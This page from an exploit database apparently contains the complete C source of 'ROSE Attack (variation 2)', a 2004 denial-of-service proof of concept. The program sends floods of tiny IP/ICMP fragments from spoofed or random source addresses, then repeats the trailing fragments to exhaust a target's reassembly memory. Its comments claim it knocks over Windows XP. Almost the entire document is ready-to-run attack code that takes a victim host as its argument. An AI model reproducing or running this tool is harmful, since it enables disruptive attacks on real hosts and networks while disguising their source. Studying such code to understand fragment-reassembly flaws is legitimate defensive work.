[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

ROSE Attack (variation 2)

Author
chuck
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5885
Category
dos / poc
Date add
26-09-2004
Platform
unsorted
=========================
ROSE Attack (variation 2)
=========================



/***
    ROSE attack (variation 2) (chuck (at) lemure.net)
    
    Discovered by:
    gandalf (at) digital.net
    
    code modified from large IGMP attack by:
        Kox by Coolio (coolio (at) k-r4d.com)

    Sends out small IP fragments totalling up to a large
    ICMP packet.  Then repeatedly sends last IP Fragment forcing
    reassembly code to traverse to last IP fragment in order to
    do a free() followed by a malloc().  Or so it seems.

    Reportedly works for TCP / UDP as well, since this is
    a IP layer attack.


***/

/* just a thousand kills win XP */

#define NUM_PACKETS 100


#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <pwd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/utsname.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#include <netinet/ip_icmp.h>

void usage(char *arg)
{
        printf("Rose attack\n");
        printf("Usage: %s <victim> [source]\n", arg);
	printf("If source not specified, will send out from random ip's\n");
        exit(1);
}


unsigned int randip()
{
        struct hostent *he;
        struct sockaddr_in sin;
        char *buf = (char *)calloc(1, sizeof(char) * 16);
	
        sprintf(buf, "%d.%d.%d.%d",
                (random()%191)+23,
                (random()%253)+1,
                (random()%253)+1,
                (random()%253)+1); 
	
        return inet_addr(buf);
        
}

unsigned short in_cksum(unsigned short *buh, int len)
{
        register long sum = 0;
        unsigned short oddbyte;
        register unsigned short answer;

        while(len > 1) {
                sum += *buh++;
                len -= 2;
        }

        if(len == 1) {
                oddbyte = 0;
                *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
                sum += oddbyte;
        }

        sum = (sum >> 16) + (sum & 0xFFFF);
        sum += (sum >> 16);
        answer = ~sum;
        return answer;
}

int fire_away(struct sockaddr_in *victim, unsigned long src)
{
        int SMALLICMP = 1;
        unsigned char *pkt;
        struct iphdr *ip;
        struct igmphdr *igmp;
	struct icmphdr *icmp_pkt;
        struct utsname *un;
        struct passwd *p;
	int idList[NUM_PACKETS];
	unsigned long j;
        int i, s;
	int id = (random() % 40000) + 500;
	for (i=0;i<NUM_PACKETS;i++)
	  idList[i]=(random() % 40000) + 500;

        

        pkt = (unsigned char *)calloc(1, SMALLICMP 
				      + sizeof(struct iphdr) +
				      sizeof(struct icmphdr));
        ip = (struct iphdr *)pkt;
 	icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
        ip->version = 4;
        ip->ihl = (sizeof *ip) / 4;
        ip->ttl = 255;
        ip->tot_len = htons(SMALLICMP);
        ip->protocol = 1;
        ip->id = htons(id);
        ip->frag_off = htons(IP_MF);
        ip->saddr = src;
        ip->daddr = victim->sin_addr.s_addr;
        ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));

	
	icmp_pkt->type = ICMP_ECHO;
	icmp_pkt->code = 0;
	icmp_pkt->checksum = 1000;
	icmp_pkt->un.echo.id = random() % 255;
	icmp_pkt->un.echo.sequence = random() % 255;
	
        for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
            i < SMALLICMP; i++){
	  pkt[i] = random() % 255;
	  
	}
	
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("error: socket()");
                return 1;
        }
	
	printf(" Sending out series of small fragments\r\n");
	
	for(i=0;i<NUM_PACKETS;i++){
	  ip->id = htons(idList[i]);
	  for (j=0; j<8170; j += SMALLICMP + 1){	    
	    ip->frag_off = htons(j | IP_MF);
	    if(sendto(s, pkt,
		      SMALLICMP + sizeof(struct iphdr), 
		      0, (struct sockaddr *)victim,
		      sizeof(struct sockaddr_in)) == -1) { 
	      perror("error: sendto()");
	      return 1;
	    }
	  }
	}

	printf(" Sending out tailing fragments\r\n");
	/* big frag at end... */
	/* sending a large amount of the end fragments over and
	   over.  This is definitely overkill, but seems to work */
	for (j=0;j<9999*NUM_PACKETS;j++){
	  for(i=0;i<NUM_PACKETS;i++){
	    ip->id=htons(idList[i]);
	    ip->frag_off = htons(8190|IP_MF);
	    //ip->frag_off = htons(8100 | IP_MF);
	    sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP, 
		   0, (struct sockaddr *)victim, 
		   sizeof(struct sockaddr_in));
	    /* if you do sleep, CPU usage goes way down.  But memory usage
	       still creeps upward */
	    //usleep(100); //sleep after every trailing packet
	  }
	  usleep(100); //sleep after every series of NUM_PACKETS
	}
        free(pkt);
        close(s);
        return 0;
}

int main(int argc, char *argv[])
{
        struct sockaddr_in victim;
        struct hostent *he;
	unsigned long source;
        int i;

        srandom(time(NULL));

        if(argc < 2)
                usage(argv[0]);

        if((he = gethostbyname(argv[1])) == NULL) {
                herror(argv[1]);
                exit(1);
        }
	
	if (argc > 2){
	  source = inet_addr(argv[2]);
	}
	else {
	  source = randip();
	}
	
        memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
        victim.sin_port = htons(0);
        victim.sin_family = PF_INET;

        printf("Sending ICMP fragments:  \r\n");
        fflush(stdout);
	fire_away(&victim, source);
	if (argc < 3){
	  source = randip();
	}
	
	fflush(stdout);
	printf("\nDONE\n");
        fflush(stdout);
}



#  0day.today [2024-12-24]  #